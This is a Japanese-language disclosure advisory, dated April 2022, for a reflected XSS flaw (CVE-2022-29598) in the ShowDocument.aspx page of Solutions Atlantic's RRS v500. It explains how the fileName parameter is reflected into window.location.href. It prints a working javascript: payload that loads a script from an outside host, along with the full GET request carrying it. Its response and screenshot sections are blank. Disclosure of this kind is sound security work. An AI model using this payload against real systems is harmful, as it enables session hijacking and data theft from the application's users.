
RRS v500アプリケーションには、反射型クロスサイトスクリプティング(XSS)の脆弱性が存在します。
Mitre URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29598
NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2022-29598
Solutions Atlantic 社製の RRS v500 アプリケーションは、リフレクト型クロスサイトスクリプティング (XSS) の脆弱性の影響を受けます。XSS 脆弱性を悪用されると、攻撃者が被害者ユーザーになりすましたり、機密データを開示したり、被害者ユーザーに許可された操作を実行したりする可能性があります。
パラメータ fileName はユーザー入力を受け付け、それをサーバーのレスポンス内に反映することが確認されました。反映前には、一部のユーザー入力のフィルタリングとサニタイズ処理(大なり記号/小なり記号などの一部の特殊文字のエンコード)が行われていましたが、反映が JavaScript コンテキスト内で行われたため、制限を迂回してサーバーのレスポンスに JavaScript コードを注入できました。
影響を受ける URL:
/RRSWeb/maint/ShowDocument/ShowDocument.aspx使用した XSS ペイロード:
javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';//影響を受ける URL:
/RRSWeb/maint/ShowDocument/ShowDocument.aspxこのアプリケーションには、外部 Web サイトへのリンク機能があります。外部サイトへのリンクを選択すると、/RRSWeb/maint/ShowDocument/ShowDocument.aspx へのリクエストが 2 つのパラメータ、リダイレクト先の外部サイトの URL を含む fileName と、値 ExternalLink を持つ requestType とともに送信されます。requestType パラメータが既定値のままである限り、ユーザーが fileName パラメータに入力した内容はすべて JavaScript コンテキスト、具体的には window.location.href 内に反映されます。JavaScript ディレクティブを使用した XSS ペイロードを用いることで、リフレクト型 XSS 攻撃が成立する可能性があります。
XSS ペイロードを含む GET リクエスト:
GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?requestType=ExternalLink&fileName=javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';// HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Referer: http://<REDACTED>/RRSweb/default.aspx
Cookie: ASP.NET_SessionId=<REDACTED>
Upgrade-Insecure-Requests: 1
Content-Length: 0
サーバーレスポンス:

ブラウザでの表示:

2022年4月